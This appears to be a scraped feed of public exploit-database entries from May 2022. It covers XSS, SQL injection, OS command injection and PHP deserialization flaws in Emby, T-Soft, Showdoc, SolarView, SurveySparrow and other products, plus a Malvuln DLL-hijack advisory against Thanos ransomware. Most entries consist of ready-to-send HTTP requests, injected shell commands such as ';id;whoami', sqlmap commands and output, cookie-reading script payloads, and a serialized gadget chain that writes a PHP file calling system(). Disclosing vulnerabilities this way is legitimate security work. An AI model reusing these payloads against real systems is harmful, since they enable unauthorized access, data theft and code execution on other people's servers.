<pre><code># Exploit Title: Emby Media Server 4.7.0.60 Cross Site Scripting <br /># Google Dork: NA<br /># Date: 18/05/2022<br /># Exploit Author: Yehia Elghaly<br /># Vendor Homepage: https://emby.media/<br /># Software Link: https://emby.media/windows-server.html<br /># Version: 4.7.0.60<br /># Tested on: Windows 7 / 10<br /><br /><br />Summary: Emby (formerly Media Browser) is a media server designed to organize, play, and stream audio and video to a variety of devices. Emby is open-source, and uses a client-server model.<br /><br />Description: Reflected XSS found on the follwoing paths <br /><br /><br />GET /web/index.htmlwkdlv%3cimg%20src%3da%20onerror%3dalert('xssyf')%3etsz47 HTTP/1.1<br />Host: 192.168.1.99:8096<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />Upgrade-Insecure-Requests: 1<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US;q=0.9,en;q=0.8<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36<br />Connection: close<br />Cache-Control: max-age=0<br /><br />/web/apploader.jsgavm5%3cimg%20src%3da%20onerror%3dalert(1)%3efekx9?v=4.7.0.60<br />/web/manifest.jsono32b7%3cimg%20src%3da%20onerror%3dalert(1)%3ebhmxn <br />/web/modules/common/strings/en-GB.jsons0ult%3cimg%20src%3da%20onerror%3dalert(1)%3es9n62?v=4.7.0.60<br />/web/modulesd3s7a%3cimg%20src%3da%20onerror%3dalert(1)%3ez7ego/common/strings/en-GB.json?v=4.7.0.60 <br />/web/modules/commonat2op%3cimg%20src%3da%20onerror%3dalert(1)%3eobgl7/strings/en-GB.json?v=4.7.0.60<br />/web/modules/common/stringshh0u9%3cimg%20src%3da%20onerror%3dalert(1)%3et78cc/en-GB.json?v=4.7.0.60<br />/web/modules/themes/dark/theme.jsonl0ofz%3cimg%20src%3da%20onerror%3dalert(1)%3edltvh?v=4.7.0.60<br />/web/modulesx4l2h%3cimg%20src%3da%20onerror%3dalert(1)%3emr73x/themes/dark/theme.json?v=4.7.0.60 <br />/web/modules/themesm2gyr%3cimg%20src%3da%20onerror%3dalert(1)%3ek2oyi/dark/theme.json?v=4.7.0.60<br />/web/modules/themes/darknhu2c%3cimg%20src%3da%20onerror%3dalert(1)%3ez9cpp/theme.json?v=4.7.0.60<br />/web/startup/login.htmljpi2c%3cimg%20src%3da%20onerror%3dalert(1)%3enwvie?v=4.7.0.60<br />/web/startupipm82%3cimg%20src%3da%20onerror%3dalert(1)%3ei44hr/login.html?v=4.7.0.60<br />/web/strings/en-GB.jsonqulu8%3cimg%20src%3da%20onerror%3dalert(1)%3eghzge?v=4.7.0.60<br />/web/stringsxyvvd%3cimg%20src%3da%20onerror%3dalert(1)%3ewliqe/en-GB.json?v=4.7.0.60 <br /></code></pre>
<pre><code>Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022<br />Original source: https://malvuln.com/advisory/be60e389a0108b2871dff12dfbb542ac.txt<br />Contact: malvuln13@gmail.com<br />Media: twitter.com/malvuln<br /><br />Threat: Trojan-Ransom.Thanos<br />Vulnerability: Code Execution<br />Description: Thanos looks for and executes DLLs in its current directory. Therefore, we can potentially hijack a vuln DLL execute our own code, control and terminate the malware pre-encryption. The exploit dll will check if the current directory is "C:\Windows\System32", if not we grab our process ID and terminate. We do not need to rely on hash signature or third-party product, the malwares own flaw will do the work for us. Endpoint protection systems and or antivirus can potentially be killed prior to executing malware, but this method cannot as theres nothing to kill the DLL just lives on disk waiting. From defensive perspective you can add the DLLs to a specific network share containing important data as a layered approach. All basic tests were conducted successfully in a virtual machine environment.<br />Family: Thanos<br />Type: PE32<br />MD5: be60e389a0108b2871dff12dfbb542ac<br />Vuln ID: MVID-2022-0607<br />Disclosure: 05/16/2022<br />Video PoC URL: https://www.youtube.com/watch?v=jwXnH2EWLZI<br /><br />Exploit/PoC:<br />1) Compile the following C code as "CRYPTSP.dll" 32-bit<br />2) Place the DLL in same directory as the ransomware<br />3) Optional - Hide it: attrib +s +h "CRYPTSP.dll"<br />4) Run the malware<br /><br />#include "windows.h"<br /><br />//By malvuln - 5/2022<br />//Purpose: Exploit Thanos<br />//gcc -c CRYPTSP.c -m32<br />//gcc -shared -o CRYPTSP.dll CRYPTSP.o -m32<br />/** DISCLAIMER:<br />Author is NOT responsible for any damages whatsoever by using this software or improper malware<br />handling. By using this code you assume and accept all risk implied or otherwise.<br />**/<br />BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved){<br /> switch (reason) {<br /> case DLL_PROCESS_ATTACH:<br /> MessageBox(NULL, "Ransom.Thanos\nPWNED by Malvuln", "Code Exec PoC", MB_OK);<br /> TCHAR buf[MAX_PATH];<br /> if(GetCurrentDirectory(MAX_PATH, buf))<br /> if(strcmp("C:\\Windows\\System32", buf) != 0){<br /> HANDLE handle = OpenProcess(PROCESS_TERMINATE, FALSE, getpid());<br /> if (NULL != handle) { <br /> TerminateProcess(handle, 0);<br /> CloseHandle(handle);<br /> }<br /> }<br /> break;<br /> }<br /> return TRUE;<br />}<br /><br /><br />Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).<br /></code></pre>
<pre><code># Exploit Title: SDT-CW3B1 1.1.0 - OS command injection<br /># Date: 2022-05-12<br /># Exploit Author: Ahmed Alroky<br /># Author Company : AIactive<br /># Version: 1.0.0<br /># Vendor home page : http://telesquare.co.kr/<br /># Authentication Required: No<br /># CVE : CVE-2021-46422<br /><br /># Tested on: Windows<br /><br /># HTTP Request<br />GET /cgi-bin/admin.cgi?Command=sysCommand&Cmd=id HTTP/1.1<br />Host: IP_HERE<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36<br />Accept: */*<br />Referer: http:// IP_HERE /admin/system_command.shtml<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Connection: close<br /><br /></code></pre>
<pre><code># Exploit Title: Online Discussion Forum Site 1.0 - 'id' Blind SQL Injection<br /># Date: 15/05/2022<br /># Exploit Author: Saud Alenazi<br /># Vendor Homepage: https://www.sourcecodester.com/<br /># Software Link: https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html<br /># Version: 1.0<br /># Tested on: XAMPP, Linux<br /><br /><br /># Vulnerable Code:<br /><br />line 3 in file "/odfs/posts/view_post.php"<br /><br />$qry = $conn->query("SELECT p.*, u.username, u.avatar, c.name as `category` FROM `post_list` p inner join category_list c on p.category_id = c.id inner join `users` u on p.user_id = u.id where p.id= '{$_GET['id']}'");<br /><br /># Sqlmap command:<br /><br />sqlmap -u 'http://localhost/odfs/?id=1&p=posts/view_post' -p id --level=5 --risk=3 --dbs --random-agent --eta<br /><br /># Output:<br /><br />Parameter: id (GET)<br /> Type: boolean-based blind<br /> Title: AND boolean-based blind - WHERE or HAVING clause<br /> Payload: id=1' AND 5178=5178-- Iddj&p=posts/view_post<br /><br /> Type: time-based blind<br /> Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)<br /> Payload: id=1' AND (SELECT 6535 FROM (SELECT(SLEEP(5)))amvG)-- ikmN&p=posts/view_post<br /><br /> Type: UNION query<br /> Title: Generic UNION query (NULL) - 12 columns<br /> Payload: id=-3669' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x71716a7671,0x65776b4d4272577956694c6549674a64546761564c79566d556255634a426c7a66464e6e527a4779,0x71767a6a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&p=posts/view_post<br /></code></pre>
<pre><code># Exploit Title: Showdoc 2.10.3 - Stored Cross-Site Scripting (XSS)<br /># Exploit Author: Akshay Ravi<br /># Vendor Homepage: https://github.com/star7th/showdoc<br /># Software Link: https://github.com/star7th/showdoc/releases/tag/v2.10.3<br /># Version: <= 2.10.3<br /># Tested on: macOS Monterey<br /># CVE : CVE-2022-0967<br /><br />Description: Stored XSS via uploading file in .ofd format<br /><br />1. Create a file with .ofd extension and add XSS Payload inside the file<br /> <br /> filename = "payload.ofd"<br /> payload = "<script>alert(1)</script>"<br /><br />2. Login to showdoc v2.10.2 and go to file library<br /> <br /> Endpoint = "https://www.site.com/attachment/index"<br /><br />3. Upload the payload on file library and click on the check button<br />4. The XSS payload will executed once we visited the URL<br /><br /></code></pre>
<pre><code>[-] Affected Versions:<br /><br />Version 2.2.0 is affected, and prior versions are likely affected too.<br /><br />[-] Vulnerabilities Description:<br /><br />Vulnerable component is switching to another tab. To exploit<br />vulnerability, an attacker may send a POST request (with<br />application/x-www-form-urlencoded content-type) to AJAX endpoint<br />(usually "/index.php") with "is_ajax_listing_tabs" parameter set to<br />"1" and "setting" parameter containing a PHP-serialized object,<br />which would be deserialized at server-side. Gadget-chains based on PHP<br />server-side code can be used to gain remote code execution, file<br />write, DOS, etc.<br /><br />So Listing Tabs is an Opencart plugin, so the Opencart PHP classes are<br />available in webapp lifecycle. In source code of Opencart there is a PHP<br />gadget-chain which allows to write a file to the server.<br />Using this gadget, an attacker can write .php files with PHP code inside<br />app's web root and then execute it via requesting them, thus gaining<br />remote code<br />execution, which makes insecure deserialization in So Listing Tabs<br />especially dangerous. Ability to write files can also be used to DOS the<br />system by writing large files and exhausting disk space, it can be used to<br />perform XSS attacks by creating HTML files inside web root.<br /><br />Here is an example of request which will write PHP file on server<br />in /tmp directory:<br /><br />---<br />POST /index.php HTTP/2<br />Host: 0.0.0.0<br />Content-Length: 3870<br />Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />Referer: http://0.0.0.0/<br /><br />is_ajax_listing_tabs=1&ajax_reslisting_start=0&categoryid=p_date_added&<br />setting=a%3a74%3a{s%3a6%3a"action"%3bs%3a9%3a"save_edit"%3b...<br />...<br />s%3a2%3a"aa"%3bO%3A9%3A%22DB%5CMySQLi%22%3A1%3A%7Bs%3A21%3A%2<br />2%00DB%5CMySQLi%00connection%22%3BO%3A7%3A%22Session%22%3A3%3A%7Bs%3A10%3A%<br />22%00%2A%00adaptor%22%3BO%3A21%3A%22Twig_Cache_Filesystem%22%3A2%3A%7Bs%3A3<br />2%3A%22%00Twig_Cache_Filesystem%00directory%22%3BN%3Bs%3A30%3A%22%00Twig_Ca<br />che_Filesystem%00options%22%3BN%3B%7Ds%3A13%3A%22%00%2A%00session_id%22%3Bs<br />%3A11%3A%22%2Ftmp%2Fff.php%22%3Bs%3A4%3A%22data%22%3Bs%3A24%3A%22%3C%3Fphp+<br />system%28%22ls+%2F%22%29%3B+%3F%3E%22%3B%7D%7D}&lbmoduleid=157<br />---<br /><br />[-] Solution:<br /><br />No official solution is currently available.<br /><br />[-] Disclosure Timeline:<br /><br />[28/01/2022] - CVE number assigned<br />[31/01/2022] - Vendor contacted<br />[02/02/2022] - Vendor asked for description of vulnerability<br />[02/02/2022] - Send report to vendor<br />[11/02/2022] - Vendor contacted for asking about updates<br />[11/02/2022] - Vendor answered that did not get the report<br />[11/02/2022] - Send report again<br />[16/02/2022] - Vendor contacted to ask about receiving the report<br />[17/02/2022] - Automatic generated answer about overloaded system<br />[07/04/2022] - Vendor contacted again asking for updates<br />[15/05/2022] - Vendor contacted to notify about public disclosure<br />[16/05/2022] - Vendor contacted to notify about public disclosure to<br />enother email<br />[16/05/2022] - Public disclosure<br /><br />[-] CVE Reference:<br /><br />The Common Vulnerabilities and Exposures project (cve.mitre.org)<br />has assigned the id CVE-2022-24108 to these vulnerabilities.<br /><br />[-] Credits:<br /><br />Vulnerability discovered by<br /> Denis Mironov (SolidSoft LLC),<br /> Alexey Smirnov (SolidSoft LLC),<br /> Daniil Sigalov (SolidSoft LLC),<br /> Dmitry Pavlov (SolidSoft LLC),<br /> Maxim Malkov (SolidSoft LLC)<br /><br /><br /></code></pre>
<pre><code># Exploit Title: T-Soft E-Commerce 4 - SQLi (Authenticated)<br /># Exploit Author: Alperen Ergel<br /># Contact: @alpernae (IG/TW)<br /># Software Homepage: https://www.tsoft.com.tr/<br /># Version : v4<br /># Tested on: Kali Linux<br /># Category: WebApp<br /># Google Dork: N/A<br /># CVE: 2022-28132<br /># Date: 18.02.2022<br />######## Description ###########################################<br />#<br />#<br />#<br /># Step-1: Login as Admin or with privilage user<br /># Step-2: Open burp or zap and request the {PoC REQUEST PATH} vulnerable path<br /># Step-3: Capture the request save as .txt<br /># Step-4: Run SQLMAP with this command 'sqlmap -r {req.txt} --dbs --level 5 --risk 3 --tamper=space2comment' --random-agent'<br /># Step-5: Now you're be able to see the dbs for more search 'how to use sqlmap advance'<br />#<br /># Impact: Attacker can see the what have in database and it's big impact and attacker can stole datas...<br /># <br />#<br />#<br />######## Proof of Concept ########################################<br /><br />========>>> REQUEST <<<=========<br /><br />GET /Y/Moduller/_Urun/Json.php?_dc=1646232925144&sort=kayittarihi&dir=DESC&AramaKelimesi=&AramaKriteri=UrunAdi&SatisAlt=&SatisUst=<br />&marka=&model=&tedarikci=&AlisAlt=&AlisUst=&KdvAlt=&KdvUst=&StokAlt=&StokUst=&birim=&extra=&kategori=&Kategori=&gor=0&ind=0&yeni=0&karsila=0&ana=0&grup=&firsat=0&mercek=0&kdvGoster=0&filtre=0&video=0&xml_not_update_price=0&xml_not_update_stock=0&multi_category_sort=0&simge=&desiAlt=&desiUst=&agirlikAlt=&agirlikUst=&stokBirim=&FirsatBaslamaTarihiBas=&FirsatBaslamaTarihiSon=&FirsatBitisTarihiBas=&FirsatBitisTarihiSon=&UrunEklemeTarihiBas=&UrunEklemeTarihiSon=&havaleAlt=&havaleUst=&page=1&start=0&limit=20 HTTP/2<br />Host: domain.com<br />Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxx@xx.com; customDashboardMapping=true; countryCode=TR; rest1SupportUser=0; nocache=1; yayinlanmaDurumuPopup=1; yayinlanmaDurumuPopupTimeout=864000; PHPSESSID=fcfa85a5603de7b64bc08eaf68bc51ca; U_TYPE_CK=131; U_TYPE_OK=c16a5320fa475530d9583c34fd356ef5; TSOFT_LOGGED=7d025a34d0526c8896d713159b0d1ffe; email=; phone=; password=<br />Sec-Ch-Ua: "(Not(A:Brand";v="8", "Chromium";v="98"<br />X-Requested-With: XMLHttpRequest<br />Sec-Ch-Ua-Mobile: ?0<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36<br />Sec-Ch-Ua-Platform: "Linux"<br />Accept: */*<br />Sec-Fetch-Site: same-origin<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Dest: empty<br />Referer: https://domain.com/srv/admin/products/products-v2/index<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br /><br />=============> RESULTS OF THE SQLMAP <==========================<br /><br />Parameter: SatisAlt (GET)<br /> Type: boolean-based blind<br /> Title: AND boolean-based blind - WHERE or HAVING clause<br /> Payload: _dc=1646232925144&sort=kayittarihi&dir=DESC&AramaKelimesi=&AramaKriteri=UrunAdi&SatisAlt=' AND 1331=1331 AND 'RcAU'='RcAU&SatisUst=&marka=&model=&tedarikci=&AlisAlt=&AlisUst=&KdvAlt=&KdvUst=&StokAlt=&StokUst=&birim=&extra=&kategori=&Kategori=&gor=0&ind=0&yeni=0&karsila=0&ana=0&grup=&firsat=0&mercek=0&kdvGoster=0&filtre=0&video=0&xml_not_update_price=0&xml_not_update_stock=0&multi_category_sort=0&simge=&desiAlt=&desiUst=&agirlikAlt=&agirlikUst=&stokBirim=&FirsatBaslamaTarihiBas=&FirsatBaslamaTarihiSon=&FirsatBitisTarihiBas=&FirsatBitisTarihiSon=&UrunEklemeTarihiBas=&UrunEklemeTarihiSon=&havaleAlt=&havaleUst=&page=1&start=0&limit=20<br />---<br />back-end DBMS: MySQL 5<br />available databases [2]:<br />[*] d25082_db<br />[*] information_schema<br /><br />[13:05:31] [INFO] GET parameter 'SatisAlt' appears to be 'SQLite > 2.0 OR time-based blind (heavy query)' injectable<br /><br /></code></pre>
<pre><code># Exploit Title: T-Soft E-Commerce 4 - 'UrunAdi' Stored Cross-Site Scripting (XSS)<br /># Exploit Author: Alperen Ergel (alpernae IG/TW)<br /># Web Site: https://alperenae.gitbook.io/<br /># Software Homepage: https://www.tsoft.com.tr/<br /># Version : v4<br /># Tested on: Kali Linux<br /># Category: WebApp<br /># Google Dork: N/A<br /># Date: 2022-05-10<br /># CVE :N/A<br /><br />######## Description ########<br />#<br /># 1-) Login administrator page and add product<br /># <br /># 2-) add product name to xss payload <br />#<br /># 3-) Back to web site then will be work payload<br />#<br />#<br />######## Proof of Concept ########<br /><br />========>>> REQUEST <<<=========<br /><br />POST /Y/Moduller/_Urun/Ekle/Action.php HTTP/1.1<br />Host: domain.com<br />Cookie: lang=tr; v4=on; nocache=1; TSOFT_USER=xxxx@xxx.com; customDashboardMapping=true; PHPSESSID=18d05ae557640c93fd9739e241850438; rest1SupportUser=0; nocache=1; last_products=12<br />User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0<br />Accept: */*<br />Accept-Language: en-US,en;q=0.5<br />Accept-Encoding: gzip, deflate<br />Content-Type: application/x-www-form-urlencoded; charset=UTF-8<br />X-Requested-With: XMLHttpRequest<br />Content-Length: 1028<br />Origin: https://domain.com<br />Dnt: 1<br />Referer: https://domain.com/srv/admin/products/save-edit/index?id=12<br />Sec-Fetch-Dest: empty<br />Sec-Fetch-Mode: cors<br />Sec-Fetch-Site: same-origin<br />Te: trailers<br />Connection: close<br /><br />task=UPDATE&Kategori=18&UrunId=12&UrunAdi={PAYLOAD}&MarkaId=0&MarkaAd=&ModelId=0&ModelAd=&Tedarikci=0&TedarikciKodu=12&StokSayisi=100<br />&StokBirimId=1&StokBirimAd=Adet&EnYeniUrun=0&EnCokSatilan=0&AramaKelimeleri=&HamSatis=200&AlisFiyat=100&HavaleYuzde=0&Birim=0<br />&KDV=18&KdvGoster=false&point_catalog=false&IndirimliUrun=true&AltUrunVar=false&YeniUrun=true&AnaSayfaUrun=true&VitrinUrun=false<br />&Gorunme=true&BayiUrun=false&SiparisNotuGoster=false&En=0&Boy=0&Derinlik=0&Agirlik=0&Desi=1&GarantiBilgisi=<br />&TeslimatBilgisi=&UrunNot=&WsUrunKodu=T12&SeoAyar=3&SeoTitle=&SeoLink=deneme-urun-1&SeoDesc=&SeoKeyw=<br />&Detay=%C3%9Cr%C3%BCn%20ekleme%20konusunda%20detayl%C4%B1%20bilgi%20i%C3%A7in%2C%20videomuzu%20<br />izleyebilirsiniz%3A%C2%A0%0A%3Cdiv%3E%3Ca%20href%3D%22https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DoWlUHvi4IPw%22%3Ehttps%3A%2F%2Fwww.youtube.com%<br />2Fwatch%3Fv%3DoWlUHvi4IPw%3C%2Fa%3E%3C%2Fdiv%3E&AnaKategoriId=18&point=0&subscribe=0&subscribe_frequency=&subscribe_discount_rate=0<br />&UruneKargoUcretsiz=0&UyeUcretsizKargo=0&BayiUcretsizKargo=0&Sayisal1=0<br /><br /></code></pre>
<pre><code># Exploit Title: Survey Sparrow Enterprise Survey Software 2022 - Stored Cross-Site Scripting (XSS)<br /># Date: May 11 2022<br /># Exploit Author: Pankaj Kumar Thakur<br /># Vendor Homepage: https://surveysparrow.com/<br /># Software Link: https://surveysparrow.com/enterprise-survey-software/<br /># Version: 2022<br /># Tested on: Windows<br /># CVE : CVE-2022-29727<br /># References:<br />https://www.tenable.com/cve/CVE-2022-29727<br />https://github.com/haxpunk1337/Enterprise-Survey-Software/blob/main/Enterprise-Survey-Software%202022<br /><br />#POC<br /><br />For Stored XSS<br /><br />Visit<br />https://LOCALHOST/login?test=Javascript%26colon;%252F%252F%E2%80%A9confirm?.(document.cookie)//<br /><br />XSS Executed<br /><br /></code></pre>
<pre><code># Exploit Title: SolarView Compact 6.0 - OS Command Injection<br /># Date: 2022-05-15<br /># Exploit Author: Ahmed Alroky<br /># Author Company : AIactive<br /># Version: ver.6.00<br /># Vendor home page : https://www.contec.com/<br /># Authentication Required: No<br /># CVE : CVE-2022-29303<br /># Tested on: Windows<br /><br /># Exploit<br /># HTTP Request :<br />POST /conf_mail.php HTTP/1.1<br />Host: HOST_IP<br />Content-Length: 77<br />Cache-Control: max-age=0<br />Upgrade-Insecure-Requests: 1<br />Origin: http://HOST_IP<br />Content-Type: application/x-www-form-urlencoded<br />User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9<br />Referer: http://HOST_IP/conf_mail.php<br />Accept-Encoding: gzip, deflate<br />Accept-Language: en-US,en;q=0.9<br />Connection: close<br /><br />mail_address=%3Bid%3Bwhoami%3Bpwd%3Bls%3B&button=%83%81%81%5B%83%8B%91%97%90M<br /><br /></code></pre>
